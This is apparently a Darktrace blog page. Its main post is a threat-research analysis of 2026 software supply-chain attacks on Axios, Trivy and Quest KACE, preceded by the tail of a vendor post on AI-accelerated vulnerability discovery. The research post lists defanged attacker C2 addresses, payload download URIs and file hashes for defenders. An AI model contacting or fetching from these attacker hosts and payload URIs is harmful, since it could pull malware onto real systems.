That said, attackers have always been able to find exploitable vulnerabilities and use them undetected for extended periods of time. The use of AI does not fundamentally change this reality, but it does make the process faster and, unfortunately, more likely to occur at scale.

While tools such as Darktrace / Attack Surface Management and / Proactive Exposure Management can help security teams prioritize where to patch, the emergence of AI-driven vulnerability discovery reinforces an important point: patching alone is not a sufficient control against modern cyber-attacks.

Rethinking defense for a world where compromise is expected

Rather than assuming vulnerabilities can simply be patched away, defenders are better served by working from the assumption that their software is already vulnerable - and always will be -and build their security strategy accordingly.

Under that assumption, defenders should expect initial access, particularly across internet exposed assets, to become easier for attackers. What matters then is how quickly that foothold is detected, contained, and prevented from expanding.

For defenders, this places renewed emphasis on a few core capabilities:

Secure-by-design architectures and blast radius reduction, particularly around identity, MFA, segmentation, and Zero Trust principles

Early, scalable detection and containment, favoring behavioral and context-driven signals over signatures alone

Operational resilience, with the expectation of more frequent early-stage incidents that must be managed without burning out teams

How Darktrace helps organizations proactively defend against cyber threats

At Darktrace, we support security teams across all three of these critical capabilities through a multi-layered AI approach. Our Self-Learning AI learns what’s normal for your organization, enabling real-time threat detection, behavioral prediction, incident investigation and autonomous response. - all while empowering your security team with visibility and control. ‍

To learn more about Darktrace’s application of AI to cybersecurity download our White Paper here.

Reducing blast radius through visibility and control

Secure-by-design principles depend on understanding how users, devices, and systems behave. By learning the normal patterns of identity and network activity, Darktrace helps teams identify when access is being misused or when activity begins to move beyond expected boundaries. This makes it possible to detect and contain lateral movement early, limiting how far an attacker can progress even after initial access.

Detecting and containing threats at the earliest stage

As AI accelerates vulnerability discovery, defenders need to identify exploitation before it is formally recognized. Darktrace’s behavioral understanding approach enables detection of subtle deviations from normal activity, including those linked to previously unknown vulnerabilities.

A key example of this is our research on identifying cyber threats before public CVE disclosures, demonstrating that assessing activity against what is normal for a specific environment, rather than relying on predefined indicators of compromise, enables detection of intrusions exploiting previously unknown vulnerabilities days or even weeks before details become publicly available.

Additionally, our Autonomous Response capability provides fast, targeted containment focused on the most concerning events, while allowing normal business operations to continue. This has consistently shown that even when attackers use techniques never seen before, Darktrace’s Autonomous Response can contain threats before they have a chance to escalate.

Scaling response without increasing operational burden

As early-stage incidents become more frequent, the ability to investigate and respond efficiently becomes critical. Darktrace’s Cyber AI Analyst’s AI-driven investigation capabilities automatically correlate activity across the environment, prioritizing the most significant threats and reducing the need for manual triage. This allows security teams to respond faster and more consistently, without increasing workload or burnout.

What effective defense looks like in an AI-accelerated landscape

Developments like Mythos highlight a reality that has been building for some time: the window between exposure and exploitation is shrinking, and in many cases, it may disappear entirely. In that environment, relying on patching alone becomes increasingly reactive, leaving little room to respond once access has been established.

The more durable approach is to assume that compromise will occur and focus on controlling what happens next. That means identifying early signs of misuse, containing threats before they spread, and maintaining visibility across the environment so that isolated signals can be understood in context.

AI plays a role on both sides of this equation. While it enables attackers to move faster, it also gives defenders the ability to detect subtle changes in behavior, prioritize what matters, and respond in real time. The advantage will not come from adopting AI in isolation, but from applying it in a way that reduces the gap between detection and action.

AI may be accelerating parts of the attack lifecycle, but the fundamentals of defense, detection, and containment still apply. If anything, they matter more than ever – and AI is just as powerful a tool for defenders as it is for attackers.

‍

To learn more about Darktrace and Mythos read more on our blog: Mythos vs Ethos: Defending in an Era of AI‑Accelerated Vulnerability Discovery

‍

[related-resource]

About the author

Toby Lewis

Head of Threat Analysis

Blog

Network

May 6, 2026

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

Software supply-chain attacks in 2026

Software supply-chain attacks now represent the primary threat shaping the 2026 security landscape. Rather than relying on exploits at the perimeter, attackers are targeting the connective tissue of modern engineering environments: package managers, CI/CD automation, developer systems, and even the security tools organizations inherently trust.

These incidents are not isolated cases of poisoned code. They reflect a structural shift toward abusing trusted automation and identity at ecosystem scale, where compromise propagates through systems designed for speed, not scrutiny. Ephemeral build runners, regardless of provider, represent high‑trust, low‑visibility execution zones.

The Axios compromise and the cascading Trivy campaign illustrate how quickly this abuse can move once attacker activity enters build and delivery workflows. This blog provides an overview of the latest supply chain and security tool incidents with Darktrace telemetry and defensive actions to improve organizations defensive cyber posture.

1. Why the Axios Compromise Scaled

On 31 March 2026, attackers hijacked the npm account of Axios’s lead maintainer, publishing malicious versions 1.14.1 and 0.30.4 that silently pulled in a malicious dependency, plain‑crypto‑[email protected]. Axios is a popular HTTP client for node.js and processes 100 million weekly downloads and appears in around 80% of cloud and application environments, making this a high‑leverage breach [1].

The attack chain was simple yet effective:

A compromised maintainer account enabled legitimate‑looking malicious releases.
The poisoned dependency executed Remote Access Trojans (RATs) across Linux, macOS and Windows systems.
The malware beaconed to a remote command-and-control (C2) server every 60 seconds in a loop, awaiting further instructions.
The installer self‑cleaned by deleting malicious artifacts.

All of this matters because a single maintainer compromise was enough to project attacker access into thousands of trusted production environments without exploiting a single vulnerability.

A view from Darktrace

Multiple cases linked with the Axios compromise were identified across Darktrace’s customer base in March 2026, across both Darktrace / NETWORK and Darktrace / CLOUD deployments.

In one Darktrace / CLOUD deployment, an Azure Cloud Asset was observed establishing new external HTTP connectivity to the IP 142.11.206[.]73 on port 8000. Darktrace deemed this activity as highly anomalous for the device based on several factors, including the rarity of the endpoint across the network and the unusual combination of protocol and port for this asset. As a result, the triggering the "Anomalous Connection / Application Protocol on Uncommon Port" model was triggered in Darktrace / CLOUD. Detection was driven by environmental context rather than a known indicator at the time. Subsequent reporting later classified the destination as malicious in relation to the Axios supply‑chain compromise, reinforcing the gap that often exists between initial attacker activity and the availability of actionable intelligence. [5]

Additionally, shortly before this C2 connection, the device was observed communicating with various endpoints associated with the NPM package manager, further reinforcing the association with this attack.

Figure 1: Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.

Within Axios cases observed within Darktrace / NETWORK customer environments, activity generally focused on the use of newly observed cURL user agents in outbound connections to the C2 URL sfrclak[.]com/6202033, alongside the download of malicious files.

In other cases, Darktrace / NETWORK customers with Microsoft Defender for Endpoint integration received alerts flagging newly observed system executables and process launches associated with C2 communication.

Figure 2: A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.

2. Why Trivy bypassed security tooling trust

Between late February and March 22, 2026, the threat group TeamPCP leveraged credentials from a previous incident to insert malicious artifacts across Trivy’s distribution ecosystem, including its CI automation, release binaries, Visual Studio Code extensions, and Docker container images [2].

While public reporting has emphasized GitHub Actions, Darktrace telemetry highlights attacker execution within CI/CD runner environments, including ephemeral build runners. These execution contexts are typically granted broad trust and limited visibility, allowing malicious activity within build automation to blend into expected operational workflows, regardless of provider.

This was a coordinated multi‑phase attack:

75 of 76 of trivy-action tags and all setup‑trivy tags were force‑pushed to deliver a malicious payload.
A malicious binary (v0.69.4) was distributed across all major distribution channels.
Developer machines were compromised, receiving a persistent backdoor and a self-propagating worm.
Secrets were exfiltrated at scale, including SSH keys, Kuberenetes tokens, database passwords, and cloud credentials across Amazon Web Service (AWS), Azure, and Google Cloud Platform (GCP).

Within Darktrace’s customer base, an AWS EC2 instance monitored by Darktrace / CLOUD appeared to have been impacted by the Trivy attack. On March 19, the device was seen connecting to the attacker-controlled C2 server scan[.]aquasecurtiy[.]org (45.148.10[.]212), triggering the model 'Anomalous Server Activity / Outgoing from Server’ in Darktrace / CLOUD.

Despite this limited historical context, Darktrace assessed this activity as suspicious due to the rarity of the destination endpoint across the wider deployment. This resulted in the triggering of a model alert and the generation of a Cyber AI Analyst incident to further analyze and correlate the attack activity.

TeamPCP’s continued abused of GitHub Actions against security and IT tooling has also been observed more recently in Darktrace’s customer base. On April 22, an AWS asset was seen connecting to the C2 endpoint audit.checkmarx[.]cx (94.154.172[.]43). The timing of this activity suggests a potential link to a malicious Bitwarden package distributed by the threat actor, which was only available for a short timeframe on April 22. [4][3]

‍

Figure 3: A model alert flagging unusual external connectivity from the AWS asset, as seen in Darktrace / CLOUD .

‍

While the Trivy activity originated within build automation, the underlying failure mode mirrors later intrusions observed via management tooling. In both cases, attackers leveraged platforms designed for scale and trust to execute actions that blended into normal operational noise until downstream effects became visible.

Quest KACE: Legacy Risk, Real Impact

The Quest KACE System Management Appliance (SMA) incident reinforces that software risk is not confined to development pipelines alone. High‑trust infrastructure and management platforms are increasingly leveraged by adversaries when left unpatched or exposed to the internet.

Throughout March 2026, attackers exploited CVE 2025-32975 to authentication on outdated, internet-facing KACE appliances, gaining administrative control and pushing remote payloads into enterprise environments. Organizations still running pre-patch versions effectively handed adversaries a turnkey foothold, reaffirming a simple strategic truth: legacy management systems are now part of the supply-chain threat surface, and treating them as “low-risk utilities” is no longer defensible [3].

Within the Darktrace customer base, a potential case was identified in mid-March involving an internet-facing server that exhibited the use of a new user agent alongside unusual file downloads and unexpected external connectivity. Darktrace identified the device downloading file downloads from "216.126.225[.]156/x", "216.126.225[.]156/ct.py" and "216.126.225[.]156/n", using the user agents, "curl/8.5.0" & "Python-urllib/3.9".

The timeframe and IoCs observed point towards likely exploitation of CVE‑2025‑32975. As with earlier incidents, the activity became visible through deviations in expected system behavior rather than through advance knowledge of exploitation or attacker infrastructure. The delay between observed exploitation and its addition to the Known Exploited Vulnerabilities (KEV) catalogue underscores a recurring failure: retrospective validation cannot keep pace with adversaries operating at automation speed.

The strategic pattern: Ecosystem‑scale adversaries

The Axios and Trivy compromises are not anomalies; they are signals of a structural shift in the threat landscape. In this post-trust era, the compromise of a single maintainer, repository token, or CI/CD tag can produce large-scale blast radiuses with downstream victims numbering in the thousands. Attackers are no longer just exploiting vulnerabilities; they are exploiting infrastructure privileges, developer trust relationships, and automated build systems that the industry has generally under secured.

Supply‑chain compromise should now be treated as an assumed breach scenario, not a specialized threat class, particularly across build, integration, and management infrastructure. Organizations must operate under the assumption that compromise will occur within trusted software and automation layers, not solely at the network edge or user endpoint. Defenders should therefore expect compromise to emerge from trusted automation layers before it is labelled, validated, or widely understood.

The future of supply‑chain defense lies in continuous behavioral visibility, autonomous detection across developer and build environments, and real‑time anomaly identification.

As AI increasingly shapes software development and security operations, defenders must assume adversaries will also operate with AI in the loop. The defensive edge will come not from predicting specific compromises, but from continuously interrogating behavior across environments humans can no longer feasibly monitor at scale.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISCO), Emma Foulger (Global Threat Research Operations Lead), Justin Torres (Senior Cyber Analyst), Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Content Manager)

Appendices

References:

1) https://www.infosecurity-magazine.com/news/hackers-hijack-axios-npm-package/

2) https://thehackernews.com/2026/03/trivy-hack-spreads-infostealer-via.html

3) https://thehackernews.com/2026/03/hackers-exploit-cve-2025-32975-cvss-100.html

4) https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack

5) https://socket.dev/blog/axios-npm-package-compromised?trk=public_post_comment-text

IoCs

- 142.11.206[.]73 – IP Address – Axios supply chain C2

- sfrclak[.]com – Hostname – Axios supply chain C2

- hxxp://sfrclak[.]com:8000/6202033 - URI – Axios supply chain payload

- 45.148.10[.]212 – IP Address – Trivy supply chain C2

- scan.aquasecurtiy[.]org – Hostname - Trivy supply chain C2

- 94.154.172[.]43 – IP Address - Checkmarx/Bitwarden supply chain C2

- audit.checkmarx[.]cx – Hostname - Checkmarx/Bitwarder supply chain C2

- 216.126.225[.]156 – IP Address – Quest KACE exploitation C2

- 216.126.225[.]156/32 - URI – Possible Quest KACE exploitation payload

- 216.126.225[.]156/ct.py - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/n - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/x - URI - Possible Quest KACE exploitation payload

- e1ec76a0e1f48901566d53828c34b5dc – MD5 - Possible Quest KACE exploitation payload

- d3beab2e2252a13d5689e9911c2b2b2fc3a41086 – SHA1 - Possible Quest KACE exploitation payload

- ab6677fcbbb1ff4a22cc3e7355e1c36768ba30bbf5cce36f4ec7ae99f850e6c5 – SHA256 - Possible Quest KACE exploitation payload

- 83b7a106a5e810a1781e62b278909396 – MD5 - Possible Quest KACE exploitation payload

- deb4b5841eea43cb8c5777ee33ee09bf294a670d – SHA1 - Possible Quest KACE exploitation payload

- b1b2f1e36dcaa36bc587fda1ddc3cbb8e04c3df5f1e3f1341c9d2ec0b0b0ffaf – SHA256 - Possible Quest KACE exploitation payload

Darktrace Model Detections

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Server Activity / Outgoing from Server

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous File / EXE from Rare External Location

Anomalous File / Script from Rare External Location

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Rare External from Server

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

Device / New User Agent

Device / Internet Facing Device with High Priority Alert

Anomalous File / New User Agent Followed By Numeric File Download

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

The Next Step After Mythos: Defending in a World Where Compromise is Expected

Enjoying the blog?

More in this series

Blog

May 8, 2026

The Next Step After Mythos: Defending in a World Where Compromise is Expected

Is Anthropic’s Mythos a turning point for cybersecurity?

How Mythos affects cybersecurity teams

Rethinking defense for a world where compromise is expected

How Darktrace helps organizations proactively defend against cyber threats

Reducing blast radius through visibility and control

Detecting and containing threats at the earliest stage

What effective defense looks like in an AI-accelerated landscape

Blog

Network

May 6, 2026

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

Software supply-chain attacks in 2026

1. Why the Axios Compromise Scaled

A view from Darktrace

2. Why Trivy bypassed security tooling trust

Quest KACE: Legacy Risk, Real Impact

The strategic pattern: Ecosystem‑scale adversaries

Appendices

References:

IoCs

Darktrace Model Detections